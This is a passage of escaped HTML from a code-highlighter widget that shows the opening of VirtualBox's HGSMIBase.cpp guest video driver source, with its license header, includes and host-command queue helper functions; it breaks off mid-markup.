data-line=\"crayon-5a69065f6e37d433429326-1052\">1052<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1053\">1053<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1054\">1054<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1055\">1055<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1056\">1056<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1057\">1057<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1058\">1058<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1059\">1059<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1060\">1060<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1061\">1061<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1062\">1062<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1063\">1063<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1064\">1064<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1065\">1065<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1066\">1066<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1067\">1067<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1068\">1068<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1069\">1069<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1070\">1070<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1071\">1071<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1072\">1072<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1073\">1073<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1074\">1074<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1075\">1075<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1076\">1076<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1077\">1077<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1078\">1078<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1079\">1079<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1080\">1080<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1081\">1081<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1082\">1082<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1083\">1083<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1084\">1084<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1085\">1085<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1086\">1086<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1087\">1087<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1088\">1088<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1089\">1089<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1090\">1090<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1091\">1091<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1092\">1092<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1093\">1093<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-1094\">1094<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1\"><span class=\"crayon-c\">\/* $Id: HGSMIBase.cpp $ *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-2\"><span class=\"crayon-c\">\/** @file<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-3\"><span class=\"crayon-c\"> * VirtualBox Video driver, common code &#8211; HGSMI initialisation and helper<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-4\"><span class=\"crayon-c\"> * functions.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-5\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-7\"><span class=\"crayon-c\">\/*<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-8\"><span class=\"crayon-c\"> * Copyright (C) 2006-2016 Oracle Corporation<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-9\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-10\"><span class=\"crayon-c\"> * This file is part of VirtualBox Open Source Edition (OSE), as<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-11\"><span class=\"crayon-c\"> * available from http:\/\/www.virtualbox.org. This file is free software;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-12\"><span class=\"crayon-c\"> * you can redistribute it and\/or modify it under the terms of the GNU<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-13\"><span class=\"crayon-c\"> * General Public License (GPL) as published by the Free Software<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-14\"><span class=\"crayon-c\"> * Foundation, in version 2 as it comes in the &#8220;COPYING&#8221; file of the<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-15\"><span class=\"crayon-c\"> * VirtualBox OSE distribution. VirtualBox OSE is distributed in the<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-16\"><span class=\"crayon-c\"> * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-17\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-19\"><span class=\"crayon-p\">#include &lt;VBox\/VBoxVideoGuest.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-20\"><span class=\"crayon-p\">#include &lt;VBox\/VBoxVideo.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-21\"><span class=\"crayon-p\">#include &lt;VBox\/VBoxGuest.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-22\"><span class=\"crayon-p\">#include &lt;VBox\/Hardware\/VBoxVideoVBE.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-23\"><span class=\"crayon-p\">#include &lt;VBox\/VMMDev.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-24\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-25\"><span class=\"crayon-p\">#include &lt;iprt\/asm.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-26\"><span class=\"crayon-p\">#include &lt;iprt\/log.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-27\"><span class=\"crayon-p\">#include &lt;iprt\/string.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-28\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-29\"><span class=\"crayon-p\">#include &lt;linux\/printk.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-30\"><span class=\"crayon-p\">#include &lt;linux\/miscdevice.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-31\"><span class=\"crayon-p\">#include &lt;linux\/uaccess.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-32\"><span class=\"crayon-p\">#include &lt;linux\/slab.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-34\"><span class=\"crayon-c\">\/** Send completion notification to the host for the command located at offset<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-35\"><span class=\"crayon-c\"> * @a offt into the host command buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-36\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMINotifyHostCmdComplete<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offt<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-37\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxVideoCmnPortWriteUlong<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offt<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-39\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-40\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-42\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-43\"><span class=\"crayon-c\"> * Inform the host that a command has been handled.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-44\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-45\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp; the context containing the heap to be used<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-46\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvMem&nbsp;&nbsp;pointer into the heap as mapped in @a pCtx to the command to<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-47\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;be completed<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-48\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-49\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIHostCmdComplete<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-50\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvMem<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-51\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIBUFFERHEADER *<\/span><span class=\"crayon-v\">pHdr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIBufferHeaderFromData<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pvMem<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-53\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offMem<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIPointerToOffset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">areaCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pHdr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-54\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offMem<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIOFFSET_VOID<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-55\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offMem<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIOFFSET_VOID<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-57\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMINotifyHostCmdComplete<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offMem<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-58\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-59\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-60\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-61\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-62\"><span class=\"crayon-c\">\/** Submit an incoming host command to the appropriate handler. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-63\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hgsmiHostCmdProcess<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-64\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-65\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-66\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIBufferProcess<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">areaCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">channels<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-70\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* failure means the command was not submitted to the handler for some reason<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-71\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * it&#8217;s our responsibility to notify its completion in this case *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMINotifyHostCmdComplete<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* if the cmd succeeded it&#8217;s responsibility of the callback to complete it *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-75\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-76\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-77\"><span class=\"crayon-c\">\/** Get the next command from the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-78\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-e\">hgsmiGetHostBuffer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-79\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-80\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxVideoCmnPortReadUlong<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-81\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-82\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-83\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-84\"><span class=\"crayon-c\">\/** Get and handle the next command from the host. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-85\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hgsmiHostCommandQueryProcess<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-86\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-87\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">hgsmiGetHostBuffer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-88\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIOFFSET_VOID<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-89\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">hgsmiHostCmdProcess<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-90\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-91\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-92\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-93\"><span class=\"crayon-c\">\/** Drain the host command queue. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-94\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIProcessHostQueue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIHOSTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-95\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-96\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span 